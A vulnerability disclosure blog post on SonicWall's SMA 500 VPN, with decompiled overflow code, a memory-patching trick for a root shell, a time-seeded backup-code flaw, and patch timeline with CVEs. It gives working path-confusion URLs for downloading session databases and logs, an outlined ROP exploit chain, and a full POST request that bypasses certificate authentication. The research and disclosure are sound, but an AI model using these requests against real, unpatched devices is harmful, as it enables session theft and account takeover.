SonicDoor – Cracking SonicWall’s SMA 500

While attempting to compare the security level of various VPN vendors, I kept falling down the path of searching for vulnerabilities instead. This blog post details the ones I discovered in SonicWall’s SMA 500, which were patched in December 2024. This post has been delayed to coincide with my talk at SecurityFest on this exact subject.

Vulnerabilities in commercial-grade SSL VPN devices have been commonplace in the last few years, which brought me to investigating whether any of them were better equipped to protect users than others. While this will be the subject of another post, I kept getting distracted and actually searched for vulnerabilities instead of completing the initial goal of the project.

One of the targets I was researching was SonicWall’s SMA 500. It felt like it was a little less popular than other vendors and as such also seemed to be less frequently affected by new vulnerabilities. However, the general look of the code suggested that vulnerabilities were probably lying in wait somewhere.

I was able to get my hands on a trial VM directly from Sonicwall‘s website, which is always helpful. All information detailed below relates to version 10.2.1.13-72sv of SonicWall’s SMA, which was the latest version at the time.

After booting up the device, a network scan showed that only ports 80 and 443 were open, while the console displayed a CLI, but no direct way of getting a shell.

SonicWall’s Web interface
SonicWall’s command line interface

My first objective, as in most of these projects was to execute arbitrary commands on the device, as this would allow to extract the file system and also debug the running appliance. In order to do this, I used an old trick one of my former colleagues showed me. It works something like this:

  1. Identify commands in the CLI that likely call operating system commands
  2. Pause the virtual machine
  3. Search strings linked to the OS commands in the virtual machine’s saved memory file
  4. Replace the expected command with another (such as bash) while maintaining the same memory size
  5. Resume the virtual machine
  6. Call the CLI command that has been “poisoned”

In this specific case, I targeted the “Restart SSL VPN Services” CLI command which should call /usr/src/EasyAccess/bin/EasyAccessCtrl restart. I replaced that exact string in the VM’s memory with /////////////////////////////////////bin/bash; resumed the VM, called the command and got my root shell.

First goal achieved

With this access, I then analysed the system from the inside, looking for any service that might be listening for network connections.

bash-4.2$ $ netstat -laputen | grep LISTEN

tcp    0      0 127.0.0.1:12345      0.0.0.0:*      LISTEN      0          1303574                      
tcp6   0      0 :::80                :::*           LISTEN      0          898        
tcp6   0      0 :::443               :::*           LISTEN      0          902

Only two processes seemed to accept connections, one of them being Apache, while the other is a Flask API which is run with the following command:

python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py

Since only Apache accepted remote connections, I spent some time analysing its configuration and ended up with the following understanding of how it was set up.

Apache simplified overview

While looking through Apache’s configuration, I discovered that it was vulnerable to the path confusion issue which was presented by Orange Tsai at Blackhat last year. I won’t repeat what has already been explained, so if you don’t know what I’m talking about, you can get all the information here. But essentially, in certain cases, it is possible to trick Apache into displaying files located outside of the web root.

The Apache version and configuration file in SonicWall’s SMA had all the requirements to exploit the vulnerability. Specifically, the following configuration line is the one that could be exploited:

RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$      /$1.css

Verifying whether the vulnerability is present can be done by issuing the two following requests and checking that the contents are identical.

  • https://TARGET/fileshare.10.1.2.13-72sv.css
  • https://TARGET/fileshare.css%3f10.1.2.13-72sv.css

As a proof of concept, I thought reading /etc/passwd would be an ideal candidate, but it turns out that some other protection prevents access to certain URLs, and specifically, any URL starting with /etc. Not that it matters much, since most of the interesting files are located elsewhere, either in the /tmp or /usr/src/EasyAccess folders.

One particularly interesting file is the SQLite database located at /tmp/temp.db as it contains the session identifiers of any logged in user, which means that it is possible to compromise the account of any user by simply waiting for them to log in.

  • https://TARGET/tmp/temp.db%3f10.1.2.13-72sv.css
Downloading the SQLite database

While this is probably the most impactful of the findings, this was not the primary goal of my research, as I was mostly searching for memory corruption protections and vulnerabilities. This drove me to investigate the various CGIs exposed by the Web server. Using checksec showed that while some protections are enabled, PIE is notably absent, and many binaries were not fortified.

Checksec output on some of the CGI files

My initial research was centered around identifying the use of potentially dangerous functions, such as strcpy, sprintf and others. I wrote a script based on the Ghidra API to highlight any occurrences of these functions in a binary. I then combined this with a second script that identifies links between binaries to get a better picture of what is used where in a system. They can both be found here.

This led to the discovery of numerous memory corruption issues, such as the one displayed below, taken from the sonicfiles CGI, where a user input of up to 0x400 bytes is copied into a memory location on the heap of only 0x80 bytes.

  pcVar3 = (char *)MEM_MALLOC(0x80); // Allocate buffer of 0x80 bytes
  Arg1 = (char *)malloc(0x400);
  m_overflowed = (char *)MEM_MALLOC(0x180);
  pvVar4 = malloc(0xffff);
  if (pvVar4 == (void *)0x0) {
    iVar5 = -1;
    iVar15 = local_54;
    goto LAB_08052cd7;
  }
  iVar5 = gcgiFetchString("Arg1",Arg1,0x400); // Get up to 0x400 bytes from the Arg1 parameter
  bVar18 = iVar5 == 0;
  iVar5 = -1;
  iVar15 = local_54;
  if (!bVar18) goto LAB_08052cd7;
  iVar5 = 3;
  pcVar11 = Arg1;
  m_pwned2 = "ftp";
  do {
    if (iVar5 == 0) break;
    iVar5 = iVar5 + -1;
    bVar18 = *pcVar11 == *m_pwned2;
    pcVar11 = pcVar11 + (uint)bVar19 * -2 + 1;
    m_pwned2 = m_pwned2 + (uint)bVar19 * -2 + 1;
  } while (bVar18);
  if (!bVar18) {
    iVar5 = 4;
    pcVar11 = Arg1;
    m_pwned2 = "sftp";
    do {
      if (iVar5 == 0) break;
      iVar5 = iVar5 + -1;
      bVar18 = *pcVar11 == *m_pwned2;
      pcVar11 = pcVar11 + (uint)bVar19 * -2 + 1;
      m_pwned2 = m_pwned2 + (uint)bVar19 * -2 + 1;
    } while (bVar18);
    if (!bVar18) {
      iVar6 = strncmp(Arg1,"smb",3); // Check that Arg1 starts with smb
      iVar5 = local_54;
      iVar15 = local_54;
      if (iVar6 == 0) {
        pcVar11 = (char *)__strdup(Arg1);
        m_pwned2 = strrchr(pcVar11,0x3a);
        iVar5 = 6;
        if (4 < (int)m_pwned2 - (int)pcVar11) {
          m_pwned2 = strchr(pcVar11,0x40);
          if (-1 < (int)m_pwned2 - (int)pcVar11) {
            iVar5 = ((int)m_pwned2 - (int)pcVar11) + 1;
          }
        }
        m_pwned = pcVar11 + iVar5; // skip through some of the smb URI
        m_pwned2 = strchr(m_pwned,0x2f); // find trailing slash
        if ((int)m_pwned2 - (int)m_pwned < 0) { // as long as we don't just have a slash
          strcpy(pcVar3,m_pwned); // copy input into small buffer
        }
        else {
          strncpy(pcVar3,m_pwned,(int)m_pwned2 - (int)m_pwned);
        }

That is a straightforward heap overflow if I’ve ever seen one, but heap exploitation is not my forte, so I’ll let others come up with ways of exploiting it. It is also only accessible after authentication, so I didn’t spend too much time on it. I simultaneously found many stack-based buffer overflows, one of which could be accessed without requiring authentication in the cifsnavigate CGI.

undefined4 main(void)
{
  // [...]
  undefined local_694 [1024];
  undefined local_294 [640]; // locally defined buffer of 640 bytes
  int canary;
  
  bVar5 = 0;
  canary = *(int *)(in_GS_OFFSET + 0x14);
  gcgiSetLimits(0x100000,0);
  iVar2 = initCgi();
  uVar4 = 0xffffffff;
  if (iVar2 < 0) goto LAB_08048a1b;
  fwrite("Content-Type: Text/HTML\n\n",1,0x19,gcgiOut);
  iVar2 = gcgiFetchString("cifsaddress",cifsaddress,0x400); // Get up to 0x400 bytes of the cifsaddress URL parameter
  if (iVar2 == 0) {
    gcgiDecodeUrlEncodedString(cifsaddress,&decodedaddress,local_1e9c);
    if ((*decodedaddress == '\\') && (decodedaddress[1] == '\\')) {
      initClientApi();
      cspInit();
      local_1e95 = '\0';
      server = (char *)__strdup(decodedaddress + 2);
      server = strtok(server,"\\");
      decoded_share = strtok((char *)0x0,"\\");
      decoded_cwd = strtok((char *)0x0,&local_1e95);
      if ((decoded_share != (char *)0x0) ||
         ((server == (char *)0x0 || (decoded_cwd != (char *)0x0)))) {
        if ((decoded_share == (char *)0x0) || (server == (char *)0x0)) goto LAB_08048a05;
        if (decoded_cwd == (char *)0x0) {
          gcgiEncodeUrlString(decoded_share,local_1ea4,local_1e9c);
          javaScriptDoubleEscapeSpecial(local_294,decoded_share,0); // double escape special share name into small buffer
          urlEncodeUnicodeString(local_294,&share,local_1e9c);
          __sprintf_chk(local_694,1,0x400,"/cgi-bin/explorerlist?SERVER=%s&SHARE=%s",server,share);
        }
        // [...]

In this case, the input buffer is passed to an encoding function which can quintuple the length of the buffer as shown below (code from libSys.so).

void javaScriptDoubleEscapeSpecial(undefined4 *param_1,char *param_2,int param_3)
{
  char cVar1;
  
  if (param_2 == (char *)0x0) {
LAB_000fbfa8:
    *(undefined *)param_1 = 0;
    return;
  }
  cVar1 = *param_2;
joined_r0x000fbf56:
  if (cVar1 != '\0') {
    do {
      switch(cVar1) {
      case '\"':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x32;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '#':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x33;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      default:
        *(char *)param_1 = cVar1;
        param_1 = (undefined4 *)((int)param_1 + 1);
        break;
      case '%':
        if (param_3 == 0) {
          *(undefined2 *)param_1 = 0x3225;
          *(undefined *)((int)param_1 + 2) = 0x35;
          param_1 = (undefined4 *)((int)param_1 + 3);
        }
        else {
          *param_1 = 0x32353225;
          *(undefined *)(param_1 + 1) = 0x35;
          param_1 = (undefined4 *)((int)param_1 + 5);
        }
        break;
      case '&':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x36;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '\'':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x37;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '+':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x42;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '.':
        *param_1 = 0x32353225;
        *(undefined *)(param_1 + 1) = 0x45;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case ';':
        *param_1 = 0x33353225;
        *(undefined *)(param_1 + 1) = 0x42;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '<':
        *param_1 = 0x33353225;
        *(undefined *)(param_1 + 1) = 0x43;
        param_1 = (undefined4 *)((int)param_1 + 5);
        break;
      case '>':
        goto code_r0x000fbf90;
      }
      param_2 = param_2 + 1;
      cVar1 = *param_2;
      if (cVar1 == '\0') break;
    } while( true );
  }
  goto LAB_000fbfa8;
code_r0x000fbf90:
  param_2 = param_2 + 1;
  *param_1 = 0x33353225;
  *(undefined *)(param_1 + 1) = 0x45;
  cVar1 = *param_2;
  param_1 = (undefined4 *)((int)param_1 + 5);
  goto joined_r0x000fbf56;
}

It is expected that the calling function verifies that the destination buffer is sufficiently large to hold the result, but obviously this isn’t done all the time.

From an exploitation perspective, bypassing the stack canary protection would be required to gain code execution. Brute-forcing its value would be possible, since it’s only 32 bits (yes…) and one byte is a null byte. However, this second fact is trickier to get around, since all the stack-based memory corruptions I found used string functions such as strcpy which stop at the first null byte. We’d need multiple overwrites to be able to overwrite the canary and then place a null byte in the correct location. Something like what’s shown below could do the trick, but since it requires admin access already, I did not pursue this avenue any further.

uVar34 = domainGetDomainId(iVar4);
uVar21 = dbhGet(1);
uVar21 = domainADFindByDomainId(uVar21,uVar34);
uVar5 = domainADGetServer(uVar21);
javaScriptStrEncode(local_517,uVar5); // overwrite 1
__fprintf_chk(gcgiOut,1,"NELaunchX1.authServer = \"%s\";\n",local_517);
uVar5 = domainADGetAdRealm(uVar21);
javaScriptStrEncode(local_517,uVar5); // overwrite 2
__fprintf_chk(gcgiOut,1,"NELaunchX1.ntDomainName = \"%s\";\n",local_517);
uVar5 = sessionGetScriptPath(local_9a4);
javaScriptStrEncode(local_517,uVar5); // overwrite 3
__fprintf_chk(gcgiOut,1,"NELaunchX1.logonScript = \"%s\";\n",local_517);
domainADFree(uVar21);

Further research uncovered another memory corruption which occurs when the server processes an NTLM response header from a backend server. In this case, the apr_base64_decode function is used, which does allow to write arbitrary null bytes. Again, the calling function should check that the destination buffer is large enough to hold the decoded buffer, but this is not the case in this particular function, as can be seen below in the code taken from mod_httprp.so.

size_t httprp_ntlm_get_type3_auth(
    char *param_1, char *param_2, uint *decoded_basic_sent_from_client, char *param_4
)
{
  int iVar1;
  char *pcVar2;
  bool bVar3;
  char *pcVar4;
  size_t sVar5;
  uint *__dest;
  uint uVar6;
  uint uVar7;
  int iVar8;
  void *__ptr;
  uint *puVar9;
  uint *puVar10;
  int iVar11;
  size_t sVar12;
  int in_GS_OFFSET;
  bool bVar13;
  undefined local_898 [1088];
  int local_458;
  undefined local_454 [1076]; // static buffer size
  int local_20;
  undefined4 uStack_14;
  
  sVar12 = 0;
  uStack_14 = 0x46a5b;
  local_20 = *(int *)(in_GS_OFFSET + 0x14);
  pcVar4 = strstr(param_2,"NTLM "); // param 2 is the HTTP Authorization response header
  if (pcVar4 != (char *)0x0) {
    apr_base64_decode(local_454,pcVar4 + 5); // decode the header without checking the size
    sVar12 = strlen((char *)decoded_basic_sent_from_client);
    sVar5 = strlen(param_4);
    __dest = (uint *)malloc(sVar12 + 1);
    bVar13 = false;
    bVar3 = false;
    if (__dest != (uint *)0x0) {
      pcVar4 = strchr((char *)decoded_basic_sent_from_client,0x5c);
      bVar13 = true;
      if (pcVar4 != (char *)0x0) {
        *(undefined *)__dest = 0;
        strncat((char *)__dest,pcVar4 + 1,
                (int)decoded_basic_sent_from_client + ((sVar12 - 1) - (int)pcVar4));
        puVar10 = __dest;
// [...]

Having generated multiple crashes throughout my research, I eventually discovered that the Apache log file conveniently logs crash details, including a stack trace with various memory locations.

Recovering the Apache log file

As shown here, the log file can be recovered through the path confusion vulnerability described above, which allows for following exploit path to be used:

  1. Generate a crash with any memory corruption issue
  2. Download the /tmp/temp.db to get a valid session identifier
  3. Get the libc base address from the stack trace in the log file
  4. Prepare a ROP chain
  5. Spin up a fake web server which will serve the NTLM response payload on access
  6. Send a request to the SonicWall device telling it to connect to the fake web server
  7. Exploit (and bruteforce canary)

I’ve uploaded a sample exploit script (without the canary bruteforce) over here. I’m pretty sure there are easier ways of getting code execution, maybe through some of the heap overflows, but I thought this one ended up being quite interesting.

While searching for memory corruption issues was my primary focus, I did spend a little bit of time analysing authentication to the device (before discovering I could pretty much bypass it with the path confusion attack). This led to the discovery of two separate vulnerabilities linked with Multi-Factor Authentication. While they don’t allow to fully bypass authentication, as they still require a valid password, I think they are worth mentioning.

The first is found in the functionality used to generate backup codes when one time passwords are used. Part of the code is displayed here.

  puVar10 = local_99;
  uVar7 = time((time_t *)0x0); // Get the current time
  srand(uVar7); // Init the PRNG
  local_2ac = 0;
  do {
    iVar8 = 0;
    do {
      iVar2 = rand(); // Get pseudo-random value
      puVar10[iVar8] = (&DAT_080495e0)[iVar2 % 0x3e];
      iVar8 = iVar8 + 1;
    } while (iVar8 != 8);
    uVar3 = backupCode_SHA1_string(local_99 + local_2ac,8,local_49);
    uVar3 = cJSON_CreateString(uVar3);
    cJSON_AddItemToArray(uVar1,uVar3);
    local_2ac = local_2ac + 10;
    puVar10[8] = 0xd;
    puVar10[9] = 10;
    puVar10 = puVar10 + 10;
  } while (local_2ac != 0x50);
  uVar3 = dbhGet(1);
  iVar8 = userFindByUserNameAndDomainName(uVar3,param_1,param_2);

As can be seen at the top, srand is used to initialise the pseudo-random number generator with… wait for it… the current time! This is obviously terrible, since if the time of a response can be determined, the exact backup codes can be derived. What makes this even worse is the fact that the request to retrieve the backup codes is vulnerable to Cross-Site Request Forgery and could therefore be triggered by someone visiting a malicious link, at which point the attacker could know when the request and response are generated.

The second issue linked to MFA is related to the way the appliance handles certificate-based authentication. When this is enabled, Apache is responsible for verifying the certificate provided by the user and then transfers it to the back-end Flask API in the form of environment variables.

Simple representation of how certificate data is processed

The code responsible for retrieving those values in the API is shown below.

class Authenticate(Resource):
    """Authenticate the user"""

    post_reqparser = reqparse.RequestParser()
    post_reqparser.add_argument('userName',   type = str, default = '', help = 'The user name.')
    post_reqparser.add_argument('password',   type = str, default = '', help = 'The password.')
    post_reqparser.add_argument('domainName', type = str, default = '', help = 'The domain name is required.')
    post_reqparser.add_argument('portalName', type = str, default = '', help = 'The portal name.')
    post_reqparser.add_argument('deviceId',   type = str, default = '', help = 'The device id.')
    post_reqparser.add_argument('deivceType', type = str, default = '', help = 'The device type: activesync, outlook, or others.')
    post_reqparser.add_argument('deviceAuthorization',   type = str, default = '', help = 'The basic authentication string.')
    post_reqparser.add_argument('clientSupportPDA',      type = str, default = '', help = 'The client support PDA or not.')
    post_reqparser.add_argument('SSL_CLIENT_VERIFY', type = str, dest = 'sslClientVerify')
    post_reqparser.add_argument('SSL_CLIENT_S_DN', type = str, dest = 'subject')
    post_reqparser.add_argument('SSL_CLIENT_I_DN', type = str, dest = 'issuer')
    post_reqparser.add_argument('interactive', type = str, default = '', help = 'The login is interactive or not.')

    swagger_post_reqparser = copy.deepcopy(post_reqparser)

    if (API_UNIT_TEST_MODE == False):
        post_reqparser.add_argument('HTTP_USER_AGENT', type = str, required = True, dest = 'userAgent', location = 'environ')
        post_reqparser.add_argument('REMOTE_ADDR', type = str, required = True, dest = 'clientIpAddress')
        post_reqparser.add_argument('SERVER_ADDR', type = str, required = True, dest = 'serverIpAddress')
        post_reqparser.add_argument('SERVER_NAME', type = str, required = True, dest = 'hostName')
        post_reqparser.add_argument('HTTP_HOST', type = str, required = True, dest = 'host', location = 'environ')
        post_reqparser.add_argument('SSL_CLIENT_VERIFY', type = str, dest = 'sslClientVerify') # get the SSL_CLIENT_VERIFY value
        post_reqparser.add_argument('SSL_CLIENT_S_DN', type = str, dest = 'subject') # Get the subject DN
        post_reqparser.add_argument('SSL_CLIENT_I_DN', type = str, dest = 'issuer') # Get the issuer DN
        post_reqparser.add_argument('Portal-Name', type = str, default = '', dest = 'envPortalName')
        post_reqparser.add_argument('SERVER_PORT', type = str, required = True, dest = 'serverPort')

The big issue here is that since Flask does not specify where these parameters have to be taken from (i.e. the environment variables), it is possible to just send them along as POST parameters in a login request and therefore completely bypass the certificate validation process.

POST /cgi-bin/userLogin HTTP/1.1
[...]

userName=test&password=password1234&domainName=LocalDomain&portalName=VirtualOffice&SSL_CLIENT_VERIFY=U1VDQ0VTUw==&SSL_CLIENT_S_DN=L0M9REsvTD1BYXJodXMvTz1mcm9nZ2VyL0NOPXRlc3Q=&SSL_CLIENT_I_DN=L0MlM2RESy9MJTNkQWFyaHVzL08lM2Rmcm9nZ2VyK0NBL0NOJTNkdGhlaGVhdC5kaw==

U1VDQ0VTUw== in this request is just the base64-encoded version of SUCCESS.

After discovering these issues, I reported them to SonicWall who had them patched within 6 weeks or so, you can see the full timeline below.

  • 16th of October 2024 : Reported issues to SonicWall
  • 7th of November 2024 : SonicWall indicate all issues have been fixed
  • 8th of November 2024 : I confirm they have actually been fixed
  • 25th of November 2024 : CVEs assigned
  • 5th of December 2024 : Patches and advisory released

While I still think this took some time, it is markedly faster than the previous time I reported a vulnerability to them, where it took over 5 months to issue a fix. And for reporting these issues, I was rewarded with a thank you message and the following CVEs:

  • CVE-2024-40763 – Heap buffer overflow vulnerability – 8.1 (High)
  • CVE-2024-45318 – Stack buffer overflow vulnerability – 8.1 (High)
  • CVE-2024-45319 – Certificate-based authentication bypass – 6.3 (Medium)
  • CVE-2024-53702 – Insecure randomness – 5.3 (Medium)
  • CVE-2024-53703 – Apache module stack-based buffer overflow vulnerability – 8.1 (High)

The vulnerability related to the Apache configuration was not given a CVE since it is another vulnerability altogether. So I guess if you want to find more vulnerabilities, you can grep through their code for dangerous functions, but don’t expect any bounties.